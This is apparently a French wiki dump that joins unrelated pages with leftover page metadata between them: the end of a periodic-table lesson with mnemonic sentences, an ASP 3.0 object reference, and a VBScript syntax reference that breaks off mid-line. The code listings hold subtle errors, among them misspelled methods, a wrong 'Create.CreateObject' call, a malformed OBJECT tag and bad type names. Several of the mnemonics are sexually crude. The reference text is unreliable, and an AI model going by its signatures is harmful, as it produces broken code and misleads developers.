Ce tableau est dit périodique car tous les atomes situés dans une même colonne (de 1 à 18), présentent des propriétés chimiques proches. ''Dans la colonne 1, le lithium Li et le sodium Na ont un comportement chimique proche.'' L'explication de ce comportement repose sur le fait que le nombre d'électrons de leur couche la plus extérieure est identique. Li et Na ont un seul électron qui circule sur leur couche la plus externe ; or c'est cet électron externe qui sera disponible pour les réactions chimiques avec d'autres atomes. D'où des propriétés chimiques proches et par conséquent leur regroupement. Les atomes sont donc groupés en familles : *Les [[w:fr:métal vrai|métaux vrais]] regroupant les [[w:fr:métaux alcalins|métaux alcalins]] et les [[w:fr:métaux alcalino-terreux|métaux alcalino-terreux]] *Les [[w:fr:métal de transition|métaux de transition]] *Les [[w:fr:métalloïde|métalloide]]s *Les [[w:fr:non-métal|non-métaux]] *Les [[w:fr:halogène|halogène]]s *Les [[w:fr:gaz rare|gaz rare]]s *Les [[w:fr:Lanthanide|lanthanide]]s *Les [[w:fr:actinide|actinide]]s *Les [[w:fr:transuranien|transuranien]]s = tous les éléments au-delà de l'uranium Plus le numéro atomique Z (nombre de protons) est élevé, plus les noyaux sont gros. Plus le rapport N/Z (nombre de neutrons sur nombre de protons) est loin de la courbe de stabilité, plus le noyau est instable : il va émettre des particules pour se rapprocher des valeurs stables. On dit qu'il est radioactif. Dans le tableau périodique, les atomes dont aucun isotope n'est stable sont : *Le [[technétium]] 43 *Le [[prométhium]] 61 *Tous les éléments à partir du [[polonium]] dont Z est supérieur ou égal à 84. ==Moyens mnémotechniques== Voici quelques moyens mnémotechniques pour retenir le début de la classification des éléments : * ''Ligne 2'' : '''Li'''li '''Bé'''se '''B'''ien '''C'''hez '''N'''otre '''O'''ncle '''F'''ernand-'''Ne'''stor<br />(pour : Lithium, Be (Béryllium), Bore, Carbone, N (Azote), Oxygène, F(Fluor), Ne (Néon))<br /><br /> * ''Ligne 2 (bis)'' : '''LiBe'''rté '''B'''afouée '''C'''ontre '''N'''otre '''O'''rganisation '''F'''édérale '''Né'''ogaulliste (ou '''Né'''otroskiste)<br /><br /> * ''Ligne 3'' : '''Na'''poléon '''M'''an'''g'''e '''Al'''lègrement '''Si'''x '''P'''oulets '''S'''ans '''Cl'''aquer d''''Ar'''gent<br />(pour : Na (Sodium), Mg (Magnésium), Aluminium, Silicium, Phosphore, Soufre, Chlore, Argon)<br/><br /> * ''Ligne 4'' : '''K'''oalas de '''Ca'''nberra, '''S''''e'''c'''ria-'''T'''-'''i'''l, je '''V'''eux '''Cr'''oire '''M'''o'''n''' '''F'''r'''e'''re '''Co'''mpletement! Ils '''Ni'''chent, '''C'''op'''u'''lent en '''Z'''o'''n'''ages '''Ga'''lamment '''Ge'''rés, '''As'''sistés '''Se'''ulement, '''Br'''avement des '''K(r)'''épis<br />(pour : K (Potassium), Calcium, Scandium, Titane, Vanadium, Cr (Chrome), Mn (Manganèse), Fer, Cobalt, Nickel, Cuivre, Zn (Zinc), Gallium, Germanium, As (Arsenic), Sélénium, Brome, Krypton)<br /><br /> * ''Ligne 4 (bis) : '''K'''rouchtchev '''Ca'''ressa '''Sc'''iamment '''Ti'''to. '''Vo'''rochev '''Cr'''ia '''M'''ag'''n'''ianime : "'''Fe''' '''P'''as le '''Co'''n '''Ni'''kita, ton '''Cu'''l en '''Zinc''' '''Ga'''lvanisé te '''Ge'''ne '''AsSe'''z pour '''Br'''anler des '''Kr'''evettes<br /><br /> * ''Ligne 5'' : '''R'''o'''b'''in '''S'''u'''r''' '''Y'''vette à le '''Z'''èb'''r'''e '''N'''o'''b'''le de '''Mo'''nsieur '''T'''u'''c''' '''Ru'''. '''R'''a'''h'''an '''Pd''' '''Ag'''assant '''C'''e'''d'''a '''In'''évitablement '''S'''o'''n''' '''S'''a'''b'''re '''Te'''nebreux aux '''I'''dées '''Xe'''nophobes<br />(pour : Rb (Rubidium), Sr (Strontium), Yttrium, Zr (Zirconium), Nb (Niobium), Molybdène, Tc (Technétium), Ruthénium, Rhodium, Pd (Palladium), Ag (Argent), Cd (Cadmium), Indium, Sn (Étain), Sb (Antimoine), Tellure, Iode, Xe (Xénon))<br /><br /> * ''Ligne 6'' : '''C'''e'''s'''ar '''Ba'''de '''''La''''' '''H'''i'''f'''i de '''Ta'''ta dans le '''W'''agon et '''Re'''garde '''Os'''si '''Ir'''ma. '''P'''e'''t'''er '''Au''' '''H'''an'''g'''ar, un '''T'''e'''l''' '''P'''ro'''b'''lème '''Bi'''en '''Po'''sé '''At'''tend '''R'''épo'''n'''se (La ou Lu selon la classification)<br />(pour : Cs (Césium), Baryum, La*Lu (Lutécium), Hf (Hafnium), Tantale, W (Tungstène), Re (Rhénium), Osmium, Iridium, Pt (Platine), Au (Or), Hg (Mercure), Tl (Thallium), Pb (Plomb), Bismuth, Polonium, At (Astate), Rn (Radon))<br /><br /> * ''Colonne 1'' : '''H'''eureux dans le '''Li'''t de '''Na'''tacha, '''K'''rouchtchev '''R'''a'''b'''aissa '''C'''on'''s'''tamment son '''Fr'''oc<br />(pour Hydrogène, Lithium, Na (Sodium), K (Potassium), Rb (Rubidium), Cs (Césium), Francium)<br /><br /> * ''Colonne 1 (bis)'' : '''H'''eureusement, '''L'''<nowiki>'</nowiki>'''i'''nter'''Na'''tionale '''K'''ommuniste '''R'''e'''b'''ute les '''C'''apitali'''s'''tes '''Fr'''ançais<br /><br /> * ''Colonne 16'' : '''O'''live '''S'''uce le '''Se'''xe '''Te'''ndu de '''Po'''peye<br />(Pour : O (Oxygène), S (Soufre), Se (Sélénium), Te(Tellure), Po (Polonium))<br /><br /> * ''Colonne 18'' : '''He'''rcule '''Ne'''gligea d' '''Ar'''racher le '''K'''o'''r'''sage de '''Xe'''na et '''R'''o'''n'''fla<br />(Pour : He (Hélium), Ne (Néon), Ar (Argon), Kr (Krypton), Xe (Xénon), Rn (Radon))<br /><br /> {{Photo_02}} Programmation ASP 5230 43640 2006-05-31T15:14:00Z Zulul 474 /* AdRotator */ '''ASP (Active Server Page)''' est un langage de script ([[Programmation_VBscript|VBScript]]/[[Jscript]]) sur serveur supportant le [[WSH]] (windows script host) pour l'élaboration de pages web dynamiques développé par Microsoft. =Présentation des objets ASP= ASP, dans sa version 3.0, est architecturé autour de 6 objets internes comprenant des [[méthodes]] permettant d'effectuer les principaux traitements sur les [[données]]. Ces objets constituent ce que l'on appelle le modèle objet. Ces objets sont : *'''Application''' représente le site. Il permet de manipuler les variables, les constantes, etc. nécessaires au fonctionnement du site, et d'en « mémoriser » les valeurs. *'''Session''' représente l'utilisateur. Il permet de conserver les données (préférences généralement) relatives à l'utilisateur d'une page du site à une autre. *'''Response''' représente le résultat à afficher sur le navigateur. Il permet de manipuler les variables, les constantes, etc. nécessaires au fonctionnement du site, et d'en « mémoriser » les valeurs. *'''Request''' permet de traiter les informations en provenance du client par l'intermédiaire de formulaires. Il permet de récupérer les valeurs des champs de requête issues du formulaire du navigateur. *'''Server''' représente le serveur. Il permet d'en gérer les paramètres, ainsi que d'instancier les objets utilisateurs. *'''ObjectContext''' désigne la transaction courante. Il sert à gérer les traitements de la transaction. =La structure d'un objet ASP= Les objets ASP constituent l'essentiel du moteur de scripts ASP, c'est-à-dire qu'il s'agit des principaux éléments regroupant des propriétés (valeurs) et des méthodes (traitements) utilisables dans les scripts. En réalité un objet est composé de trois types d'entités : *'''Les collections :''' une structure de données (une sorte de tableau) contenant un ensemble de valeurs repérées par une clé. Chaque objet peut contenir plusieurs collections de variables. Une valeur d'une collection d'un objet est accessible par la syntaxe suivante : objet.collection("clé") *'''Les propriétés :''' une valeur spécifique directement accessible. On accède à une propriété d'un objet ASP par la syntaxe : objet.propriete *'''Les méthodes :''' des fonctions standard associées à un objet, permettant de manipuler des valeurs passées en argument. La syntaxe d'une méthode ressemble donc à ceci : objet.methode(arguments) =Les objets ASP= Les termes anglais etant suffisamment explicites, il convient seulement de les traduire pour comprendre en quoi ils sont utiles. ==Application== permet le partage de datas entre usr d'app *PROPRIETES **Contents **Contents.Item(clé) As Variant **Contents.Counts As Long **StaticObjects **StaticObjects.Item(clé) As Variant **StaticObjects.Count As Long *METHODES **Lock() **Unlock() **Contents.Remove(clé) **Contents.RemoveAll() ==Request== Donne acces aux datas provenant du cln *PROPRIETES **ClientsCertificate **ClientCertificateItem(clé) As Variant **ClientCertificate.Count As Long **Cookies **Cookies.Item(clé) As Variant **Cookies.Count As Long **Form **Form.Item(clé) As Variant **Form.Count As Long **QueryString **QueryString.Item(clé) As Variant **QueryString.Count As Long **ServerVariables **ServerVariables.Item(clé) As Variant **ServerVariables.Count As Long **TotalBytes As Long *METHODES **BinaryRead(CountToRead As Variant) As Variant ==Response== Envoi de datas au cln *PROPRIETES **Buffer As Boolean **CacheControl As String **CharSet As String **ContentType As String **Cookies **Cookies.Item(clé) As Variant **Cookies.Count As Long **Expires As Variant **ExpiresAbsolute As Variant **Status As String *METHODES **AddHeader(bstrHeaderName As String, bstrHeaderValue As String) **AppendToLog(LogEntry As String) **BinaryWrite(Input As Variant) **Clear() **End() **Flush() **IsClientConnected() As Boolean **Pics(Value As String) **Redirect(URL As String) **Write(Text As Variant) ==Server== Donne acces aux fct utiles *PROPRIETES **ScriptTimeout As Long *METHODES **CreateObject(ProgID As String) As Object **Execute(LogicalPath As String) **GetLastError() As IASPError **HTMLEncode(In As String) As String **MapPath(LogicalPath As String) As String **Transfer(LogicalPat As String) **URLEncode(In As String) As String ==Session== Comprend nfo de session cln *PROPRIETES **CodePage As Long **Contents **Contents.Item(clé) As Variant **Contents.Count As Long **LCID As Long **SessionID As String **StaticObjects **StaticObjects.Item(clé) As Variant **StaticObjects.Count As Long **Timeout As Long *METHODES **Abandon() **Contents.Remove(clé) **Contents.RemoveAll() ==ASPError== Nfo liées au Err *PROPRIETES **ASPCode As String **Number As Long **Source As String **Category As String **File As String **Line As Long **Column As Long **Description As String **ASPDescription As String ==ObjectContext== Gère msg.init par ASP.scr *METHODES **SetAbort() **SetComplete() *EVENEMENTS **OnTransactionAbort() **OnTransactionCommit() =Les composants ASP= Classes permettant creation d'obj offrant fct completant obj internes. ==AdRotator== ad pub var on.load *PROPRIETES **Border As Integer **Clickable As Long **TargetFrame As String *METHODES **GetAdvertisement(FileName As String) As String *FICHIER **[REDIRECT URL] **[WIDTH largeur] **[HEIGHT hauteur] **[BORDER bordure] ==BrowserType== fonctionnalites du nav :Set BrowserType=Server.CreateObject("MSWC.BrowserType") *PROPRIETES **Value(Function As String) As Variant *FICHIER **format de Browscap.ini **<nowiki>;</nowiki> cmt **[HTTPUserAgentHeader] **parent=def nav **proprieteN=ValeurN **[*] **proprieteParDefautN=valeurParDefautN ==NextLink== Gere lst d'URL de txt :Set NextLink=Server.CreateObject("MSWC.NextLink") *PROPRIETES **About As String **GetListCount(LinkFile As String) As Long **GetListIndex(LinkFile As String) As Long **GetNextDescription(LinkFile As String) As String **GetNextUrl(LinkFile As String) As String **GetNthDescription(LinkFile As String, Index As Long) As String **GetNthURL(LinkFile As String, Index As Long) As String **GetPreviousDescription(LinkFile As String) As String **GetPreviousURL(LinkFile As String) As String *FICHIER **txt.format **URL Desc Cmt ==ContentRotator== affiche txt var on.load :Set ContentRotator=Server.CreateObject("MSWC.ContentRotator") *METHODES **ChooseContent(DataFile As String) As String **GetAllContent(DataFile As String) *FICHIER **format du f de contenu **%%#poids//cmt **txt HTML ==Counters== gère des cpt permanents à ajouter dans GLOBAL.ASA: :<OBJECT :RUNAT=Server :SCOPE=Applicatio :ID=Counter :PRODIG="MSWC.Counters"> :</OBJECTS> *METHODS **Get(counterName As String) As Long **Increment(counterName As String) As Long **Remove(counterName As String **Set(counterName As String, newValue As Long) As Long ==IISLog== exploration du journal par adm :Set IISLog=Server.CreateObject("MSWC.IISLog") *PROPRIETES **BytesReceived As Long **BytesSent As Long **ClientIP As String **Cookie As String **Cookie As String **Custon As String **CustomFields As Variant **DateTime As Date **Method As String **ProtocolStatus As Long **ProtocolVersion As String **Referer As String **ServerIP As String **ServerName As String **ServerPort As Long **ServiceName As String **TimeTaken As Long **URIQuery As String **URIStem As String **UserAgent As String **UserName As String **Win32Status As Long *METHODES **AtEndOfLog() As Boolean **CloseLogFiles(Modes As IOMode) **OpenLogFile(LogFileName As String, Mode As IOMode, ServiceName As String, ServiceInstance As Long, OutputLogFileFormat As String) **ReadFilter(startDateTime As Date, endDateTime As Date) **ReadLogRecord() **WriteLogRecord(ILogScripting As IlogScripting) ==MyInfo== Stock valeurs de proprietes dynamiques qu'il suffit de renommer pour qu'elles existent. ==PageCounter== Compte le nombre de fois que page est ouverte :Set PageCounter=Server.CreateObject("MSWC.PageCounter") *METHODES **Hits([URL As Variant]) As Long **PageHit() As Long **Reset([URL as Variant]) ==PersmissionChecker== Verif privilege à fichier donné :Set PermissionChecker=Server.CreateObject("MSWC.PermissionChecker") *METHODES **HasAccess(LocalUrl As String) As Boolean ==Tools== methodes utiles :Set Tools=Server.CreateObject("MSWC.Tools") *METHODES **FileExists(URL As String) As Boolean **Owner() As Boolean **PluginExists(pluginName As String) As Boolean **ProcessForm(outputFile As String, templateFile As String, [insertionPoint As Variant]) **Random() As Long =Scripting RUNTIME= Composant de classes pour gestion dico et acceder au sys de fichiers ==Dictionary== Stocke paires cle/element de datas :Set dic=Server.CreateObject("Scripting.Dictionary") *PROPRIETES **CompareMode As CompareMethod **Count As Long **Item(Key As Variant) As Variant **Key(Key As Variant) As Variant *METHODES **Add(Key As Variant, Item As Variant) **Exists(Key As Variant) As Boolean **Items() As Variant **Keys() As Variant **Keys() As Variant **Remove(Key As Variant) **RemoveAll() ==Drive== Acces à path :Set fso=Create.CreateObject("Scripting.FileSystemObject") *PROPRIETES **AvailableSpace As Variant **DriveLetter As String **DriveType As Drive TypeConst **FileSystem As String **FreeSpace As Variant **IsReady As Boolean **Path As String **RootFolder As Folder **SerialNumber As Long **ShareName **TotalSize As Variant **VolumeName As String ==Drives== :Set fso=Server.CreateObject("SCripting.FileSystemObjects") *PROPRIETES **Count As Long *Item(Key As Variant) As Drive ==Encoder== Obj Script Encoder :Set fso=Server.CreateObject("Scripting.FileSystemObject") *METHODES **EcoderScriptFile(Ext As String, Streamln As String, Flags As Long, DefaultLang As String) As String ==File== Acces au proprio d'un fichier :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **Attributes As FileAttribute **DateCreated As Date **DateLastAccessed As Date **DateLastModified As Date **Drive As Drive **Name As String **ParentFolder As Folder **Path As String **ShortName As String **ShortPath As String **Size As Variant **Type As String *METHODES **Copy(Destination As String, OverWrite As Boolean) **Delete(Force As Boolean) **Move(Destination As String) **OpenAsTextStream(IOMode As IOMode, Format As Tristate) As TextStream ==Files== Collection des obj files d'un dossier :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **Count As Long **Item(Key As Variant) As File ==FileSystemObject== Acces au sys fichier :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **Drives As DriveCollection *METHODES **BuildPath(Path As String, Name As String) As String **CopyFile(Source As String, Destination AS String, OverWritesFiles As Boolean) **CopyFolder(Path As String) As Folder **CreateTextFile(FileName AS String, Overwrite As Boolean, Unicode As Boolean) As TextStream **DeleteFile(FileSpec As String, Force As Boolean) **DeleteFolder(FolderSpec As String, Force As Boolean)¨ **DriveExists(DriveSpec As String) As Boolean **FileExists(FileSpec As String) As Boolean **FolderExists(FolderSpec As String) As Boolean **GetAbsolutePathName(Path As String) As String **GetBaseName(Path As String) As String **GetDrive(DriveSpec As String) As String **GetDriveName(Path As String) As String **GetExtensionName(Path As String) As String **GetFile(FilePath As String) As File **GetFileName(Path As String) As File **GetFolder(FolderPath As String) As Folder **GetParentFolderName(Path As String) As String **GetSpecialFolder(SpecialFolder As SpecialFolderConst) As Folder **GetTempName() As String **MoveFile(Source As String, Destination As String) **MoveFolder(Source As String, Destination As String) **OpenTextFile(FileName As String, IOMode As IOMode, Create As Boolean, Format As Tristate) As TextStream ==Folder== Acces proprio dossier :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **Attributes As FileAttribute **DateCreated As Date **DateLastAccessed As Date **DateLastModified As Date **Drive As Drive **Files As FileCollection **IsRootFolder As Boolean **Name As String **ParentFolder As Folder **Pat As String **ShortName As String **ShortPath As String **Size As Variant **SubFolder As FolderCollection **Type As String *METHODES **Copy(Destination As String, OverWriteFiles As Boolean) **CreateTextFile(FileName As String, Overwrite As Boolean, Unicode As Boolean) As TextStream **Delete(Force As Boolean) **Move(Destination As String) ==Folders== Collection des obj folder :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **Count As Long **Item(Key As Variant) As Folder *METHODES **Add(Name As String) As Folder ==TextStream== Acces sequentiel a fichier :Set fso=Server.CreateObject("Scripting.FileSystemObject") *PROPRIETES **AtEndOfLine As Boolean **AtEndOfStream As Boolean **Column As Long **Line As Long *METHODES **Close() **Read(Characters As Log) As String **ReadAll() As String **ReadLine() As String **Skip(Character As Long) **SkipLine() **Write(Text As String) **WriteBlankLines(Lines As Long) **WriteLine(Text As String) ==Constantes== ...utilisees par methodes et proprio *DRIVETYPE {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | CONSTANTE || VAL || DESC |- align=center | Unknown || 0 || lecteur indetermine |- align=center bgcolor="#EFEFEF" | Removable || 1 || lecteur amovible |- align=center | Fixed || 2 || lecteur permanent |- align=center bgcolor="#EFEFEF" | Remote || 3 || lecteur reseau |- align=center | CDROM || 4 || lecteur cd |- align=center bgcolor="#EFEFEF" | RAMDisk || 5 || lecteur RAM |} *ATTRIBUTS DE .F {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | Normal || 0 || .f normal |- align=center | ReadOnly || 1 || .f read only |- align=center bgcolor="#EFEFEF" | Hidden || 2 || .f caché |- align=center | System || 4 || .f sys |- align=center bgcolor="#EFEFEF" | Directory || 16 || .f rep |- align=center | Archive || 32 || .f modifié |- align=center bgcolor="#EFEFEF" | Alias || 1024 || lien |- align=center | Compressed || 2048 || .f compressé |} *E/S .F {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | ForReading || 1 || ouvrir .f en lecture seule |- align=center | ForWriting || 2 || ouvrir new .f en ecriture |- align=center bgcolor="#EFEFEF" | ForAppending || 8 || ouvrir et ecrire en eof |} *SPECIALDIR {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | WindowsFolder || 0 || %windir% |- align=center | SystemFolder || 1 || %system% |- align=center bgcolor="#EFEFEF" | TemporaryFolder || 2 || %tmp% |} =ADO= [ActiveX Data Object] pour DataBase OLE DB //Acces .f en acces direct via DSN (OLEDB) ou DSN-less ==Command== cmd.def sur scr.db *PROPRIETES **ActiveConnection As Connection **CommandText As String **CommandTimeout As Long **CommandType As CommandTypeEnum **Name As String **Parameters As Parameters **Prepared As Boolean **Properties As Properties **State As Long *METHODES **Cancel() **CreateParameters(Name As String, Type As DataTypeEnum, Direction As ParametersDirectionEnum, Size As Long, [Value As Variant]) As Parameter **Execute(RecordsAffected As Variant, Parameters As Variant, Options As Long) As Recordset ==Connection== CNX ouverte à src.db *PROPRIETES **Attributes As Long **CommandTimeout As Long **ConnectionString As String **ConnectionTimeout As Long **CursorLocation As CursorLocationEnum **DefaultDatabase As String **Errors As Errors **IsolationLevel As IsolationLevelEnum **Mode As ConnectModeEnum **Properties As Properties **Provider As String **State As Long **Version As String *METHODES **BeginTrans() As Long **Cancel() **Close() **CommitTrans() **Execute(CommandText As String,RecordsAffected As Variant, Options As Long) As Recordset **Open(ConnectionString As String, UserID As String, Password As String, Options As Long) **OpenScema(Schema As SchemaEnum,[Restrictions As Variant],[SchemaID As Variant]) As Recordset **RollbackTrans() *EVENEMENTS **BeginTransComplete(TransactionLevel As Long, pError As Error, adStatus As EventStatusEnum, pConnection As Connection) **CommitTransComplete(pError As Error, adStatus As EventStatusEnum pConection As Connection) **ConnectComplete(pError As Error, adStatus As EventStatusEnum, pConnection As Connection) **Disconect(adStatus As EventStatusEnum, pConnection As Connection) **ExecuteComplete(RecordsAffected As Long, pError As Error, adStatus As EventStatusEnum, pCommand As Command, pRecordset As Recordset, pConnection As Connection) **InfoMessage(pError As Error, adStatus As EventStatusEnum, pConnection As Connection) **WillConnect(ConnectionString As String, UserID As String, Password As String, Options As Long, adStatus As EventStatusEnum, pConnection As Connection) **WillExecute(Source As String, CursorType As CursorTypeEnum, LockType As LockTypeEnum, Options As Long, adStatus As EventStatusEnum, pCommand As Command, pRecordset As Recordset, pConnection As Connection) ==Error== err d'acces chez fournisseur *PROPRIETES **Desciption As String **HelpContext As Long **HelpFile As String **NativeError As Long **Number As Long **Source As String **SQLQtate As String ==Errors== obj error *PROPRIETES **Count As Long **Item(Index As Variant) As Error *METHODES **Clear() **Refresh() ==Field== colonne de donnée avec même type *PROPRIETES **ActualSize As Long **Attributes As Long **DataFormat As DataObject **DefinedSize As Long **Name As String **NumericScale As Byte **OriginalValue As Variant **Precision As Byte **Properties As Properties **Status As Long **Type As DataTypeEnum **UnderlyingValue As Variant **Value As Variant *METHODES **AppendChunk(Data As Variant) **GetChunk(Length As Long) As Variant ==Fields== fields.obj *PROPRIETES **Count As Long **Item(Index As Variant) As Field *METHODES **Append(Name As String, Type As DataTypeEnum, DefinedSize As Long, Attrib As Field(AttributeEnum,[FieldValue As Variant]) **CancelUpdate() **Delete(Index As Variant) **Refresh **Resync(ResyncValues As ResyncEnum) **Update() ==Parameter== param ou arg sur CMD.obj basé sur requête paramétrée ou procédure stockée *PROPRIETES **Attributes As Long **Direction As ParameterDirectionEnum **Name As String **NumericScale As Byte **Precision As Byte **Properties As Properties **Size As Long **Type As DataTypeEnum **Value As Variant *METHODES **AppendChunk(Val As Variant) ==Parameters== Collection param.obj *PROPRIETES **Count As Long **Item(Index As Variant) As Parameter *METHODES **Append(Object As Object) **Delete(Index As Variant) **Refresh() ==Property== Cara. dyn. d'ADO.obj par fournisseur.def *PROPRIETES **Attributes As Long **Name As String **Type As DataTypeEnum **Value As Variant ==Properties== Collection proprio.obj *PROPRIETES **Count As Long **Item(Index As Variant) As Property *METHODES **Refresh() ==Record== Ligne d'un Recordset ou .f ou .F d'un %system% *PROPRIETES **ActiveConnection As Variant **Fields As Fields **Mode As COnnectModeEnum **ParentURL As String **Properties As Properties **RecordType As RecordTypeEnum **Source As Variant **State As ObjectStateEnum *METHODES **Cancel() **Close() **CopyRecord(Source As String, Destination As String, UserName As String, Password As String, Options As CopyRecordOptionsEnum, Async As Boolean) As String **DeleteRecord(Source As String, Async As Boolean) **GetChildren() As Recordset **MoveRecord(Source As String, Destination As String, UserName As String, Password As String, Options As MoveRecordOptionsEnum, Async AS Boolean) As String **Open(Source As Variant, ActiveConnection As Variant, Mode As ConectModeEnum, CreateOptions As RecordCreateOptionsEnum, Options As RecordOpenOptionsEnum, UserName As String, Password As String) ==Recordset== Recordset d'une table ou requete *PROPRIETES **AbsolutePage As PositionEnum **AbsolutePosition As PositionEnum **ActiveCommand As Object **ActiveConnection As Variant **BOF As Boolean **Bookmark As Variant **CacheSize As Long **CursorLocation As CursorLocationEnum **CursorType As CursorTypeEnum **DataMenber AsString **DataSource AS DataObject **EditMode As EditModeEnum **EOF As Boolean **Fields As Fields **Filter As Variant **Index As String **LockType As LockTypeEnum **MarshalOptions As MarshalOptionsEnum **MaxRecords As Long **PageCount As Long **PageSize As Long **Properties As Properties **RecordCount As Long **Sort As String **Source As Variant **State As Long **Status As Long **StayInSync As Boolean *METHODS **AddNew([FieldList As Variant],[Values As Variant]) **Cancel() **CancelBatch(AffectRecords As AffectEnum) **CancelUpdate() **Clone(Lock Type As LockTypeEnum) As Recordset **Close() **CompareBookmarks(Bookmark1 As Variant, Bookmark2 As Variant) As CompareEnum **Delete(AffectRecords As AffectEnum) **Find(Criteria As String, SkipRecords As Long, SearchDirection As SearchDirectionEnum,[Start As Variant]) **GetRows(Rows As Long,[Start As Variant],[Fields As Variant]) AS Variant **GetString(StringFormat As StringFormatEnum, NumRows As Long, ColumnDelimiter As String, RowDelimiter As String, NullExpr As String) As String **Move(NumRecords As Long,[Start As Variant]) **MoveFirst() **MoveLast() **MoveNext() **MovePrevious() **NextRecordset([RecordsAffected As Variant]) As Recordset **Open(Source As Variant, ActiveConnection As Variant, CursorType As CursorTypeEnum, LockType As LockTypeEnum, Options As Long) **Requery(Options As Long) **Resync(options As Long) **Save(Destination As Variant, PersistFormat As PersistFormatEnum) **Seek(KeyValues As Variant, SeekOption As SeekEnum) **Supports(CursorOptions As CursorOptionEnum) As Boolean **Update([Fileds As Variant],[Values As Variant]) **UpdateBatch(AffectRecords As AffectEnum) *EVENEMENTS **EndOfRecordset(fMoreData As Boolean, adStatus As EventStatusEnum, pRecordset As Recordset) **FetchComplete(pError As Error, adStatus As EventStatusEnum, pRecorset As Recordset) **FetchProgress(Progress As Long, MaxProgress As Long, adStatus As EventStatusEnum, pRecordset As Recordset) **FieldChangeComplete(cFields As Long, Fields As Variant, pError As Error, adStatus As EventStatusEnum, pRecordset As Recodset) **MoveComplete(adReason As EventReasonEnum, pError As Error, adStatus As EventStatusEnum, pRecordset As Recordset) **RecordsetChangeComplete(adReason As EventReasonEnum, pError As Error, adStatus As EventStatusEnum, pRecordset As Recordset) **WillChangeField(cFields As Long, Fields As Variant, adStatus As EventStatusEnum, pRecodset As Recordset) **WillChangeRecord(adReason As EventReasonEnum, cRecords As Long, adStatus As EventStatusEnum, pRecordset As Recordset) **WillChangeRecordset(adReason As EventReasonEnum, adStatus As EventStatusEnum, pRecordset As Recordset) **WillMove(adReason As EventReasonEnum, adStatus As EventStatusEnum, pRecordset As Recordset) ==Stream== Données non mises en forme *PROPRIETES **Charset As String **EOS As Boolean **LineSeparator As LineSeparatorEnum **Mode As ConnectModeEnum **Position As Long **Size As Long **State As ObjectStateEnum **Type As StreamTypeEnum *METHODES **Cancel() **Close() **CopyTo(DestStream As Stream, CharNumber As Long) **Flush() **LoadFromFile(FileName As String) **Open(Source As Variant, Mode As ConnectModeEnum, Options As StreamOpenOptionsEnum, UserName As String, Password As String) **Read(NumBytes As Long) As Variant **ReadText(NumBytes As Long) As Variant **SaveToFile(FileName As String, Options As SaveOptionsEnum) **SetEOS **SkipLine **Write(Buffer As Variant) **WriteText(Data As String, Options As StreamWriteEnum) =LIENS EXTERNES= :http://www.commentcamarche.net/asp/aspintro.php3 :http://asp-php.net {{programmation}} Programmation VBscript 5231 43101 2006-05-24T15:49:24Z 83.206.48.156 /* de date et d'heure */ '''VBScript''' ou '''VBS''' (Visual Basic Script) est un langage parsé par les interpréteurs supportant le '''WSH''' de microsoft. *Sur client : < script langage="VBScript" /> *Sur serveur : <% script langage="VBScript" %> = Opérateurs = {| border="0" align="left" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | + || addition |- align=center bgcolor="#EFEFEF" | - || soustraction |- align=center | * || multiplication |- align=center bgcolor="#EFEFEF" | ^ || puissance |- align=center | / || division à float |- align=center bgcolor="#EFEFEF" | \ || division entière |- align=center | mod || modulo - reste de la division entière |- align=center bgcolor="#EFEFEF" | < || plus petit |- align=center | <= || plus petit ou égal |- align=center bgcolor="#EFEFEF" | > || plus grand |- align=center |>= || plus grand ou égal |- align=center bgcolor="#EFEFEF" | <> || différent |- align=center | not || non logique |- align=center bgcolor="#EFEFEF" | and || et logique |- align=center | or || ou logique |- align=center bgcolor="#EFEFEF" | xor || xor logique |- align=center | eqv || equivalence |- align=center bgcolor="#EFEFEF" | imp || implication |- align=center | & || concaténation |} == Déclarations == Le '''vbs''' n'est pas, contrairement à beaucoup d'autres langages, sensible à la case. -------------------------------- <small>LÉGENDE :<small>src - source :<small>nm - nom :<small>var - variable :<small>expr - expression :<small>ins - instruction :<small>arg - argument :<small>cond - condition --------------------------------- * Déclaration :'''option explicit''' - ''force déclaration de toutes variables dans scr'' :'''dim''' nm(src) - ''variable'' :'''redim''' [preserve] var(src) :'''const''' nm=expr - ''constante'' * Procédure - ''execute instructions'' :'''sub''' nm(arg1,arg2,...) ::[ins] ::'''[exit sub]''' ::[ins] :'''end sub''' * Fonction - ''retourne une valeur en sortie à nm'' :'''function''' nm(arg1,arg2,...) ::[ins] ::[nm=expr] ::'''[exit function]''' ::[ins] ::[nm=expr] :'''end function''' * Get - ''comme fonction simple'' :'''property get''' nm(arg1,arg2,...) '''as''' [type] ::... ::[ins] ::[nm=expr] :'''end property''' * Let - ''comme fonction simple'' :'''property let''' nm(arg1,arg2,...) ::... ::[ins] :'''end property''' * Set - comme fonction simple :'''property set''' nm(arg1,arg2,...) ::... ::[ins] :'''end property''' * Classe - ''retourne initialize || terminate'' :'''class''' ::[ins] :'''end class''' ----------------------------------------------------------- <code> '''nota''' : const/sub/function/property sont déclarables en [public [default] | private] :ex 1 ::public function nm(args) - pour toute la src :ex 2 ::sub nm(args) :::private const=expr - ''n'est déclarée et n'est valable que dans la procédure'' ::end sub</code> == Instructions de contrôle == *TEST <pre> If cond Then [ins] Else [ins] </pre> <pre> If cond1 Then [ins] Elseif cond2 Then [ins] Else [ins] Endif </pre> <pre> Select Case expression Case expr1 [ins] Case expr2 [ins] Case Else [ins] End Select </pre> *BOUCLE <pre> For cpt = début To fin [Step pas] [ins] [Exit For] [ins] Next [cpt] </pre> <pre> For Each élément In groupe [ins] [Exit For] [ins] Next élément </pre> <pre> Do [{While | Until} condition] [ins] [Exit Do] [ins] Loop </pre> <pre> Do [ins] [Exit Do] [ins] Loop [{While | Until} condition] </pre> <pre> While condition [ins] Wend </pre> *APPELS <pre> With obj [ins] End Width </pre> <pre> Call nom [args] </pre> *ERREURS <pre> On Error Resume Next On Error Goto 